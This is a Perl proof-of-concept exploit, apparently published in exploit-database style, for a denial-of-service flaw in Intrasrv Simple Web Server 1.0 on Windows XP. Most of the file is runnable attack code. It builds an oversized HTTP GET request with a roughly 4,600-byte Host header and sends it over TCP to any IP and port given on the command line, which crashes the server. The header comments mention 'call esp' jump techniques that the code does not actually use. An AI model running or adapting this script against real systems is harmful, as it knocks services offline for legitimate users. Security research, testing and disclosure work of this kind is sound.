#!/usr/bin/perl use IO::Socket; # Exploit Title: Intrasrv Simple Web Server 1.0 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 09 january 2024 # Vendor Homepage: http://www.leighb.com/intrasrv.htm # Download to demo: http://www.leighb.com/intrasrv.zip # Download 2 to demo: https://drive.google.com/file/d/1HuUGIGMp_L6viM-j6djGICsyxZg_SJtB/view?usp=sharing # Notification vendor: No reported # Tested Version: Intrasrv Simple Web Server 1.0 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=9u77LwLgXzU # Vídeo 2: https://drive.google.com/file/d/1GDVpLx5YfWdhI3ZQcG5P0EWvuR25SEjW/view?usp=sharing #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of dataa via method GET to web server. #The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC my $sis="$^O"; our $cmd; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $buffer1 = "\x41"x4674; my $buffer2 = "\x41" x 638; my $buffer = "GET / HTTP/1.1\r\n"; $buffer .= "Host: " . $buffer1 . "\r\n"; $buffer .= "User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n"; $buffer .= $buffer2; my $one = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', ) or die "Could not connect to $ip: $!\n"; print $one $buffer; close $one; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "********************************************************\n"; print "* Intrasrv Simple Web Server 1.0 - Denied of Service *\n"; print "* *\n"; print "* Coded by Fernando Mengali *\n"; print "* *\n"; print "* e-mail: fernando.mengalli\@gmail.com *\n"; print "* *\n"; print "*******************************************************\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated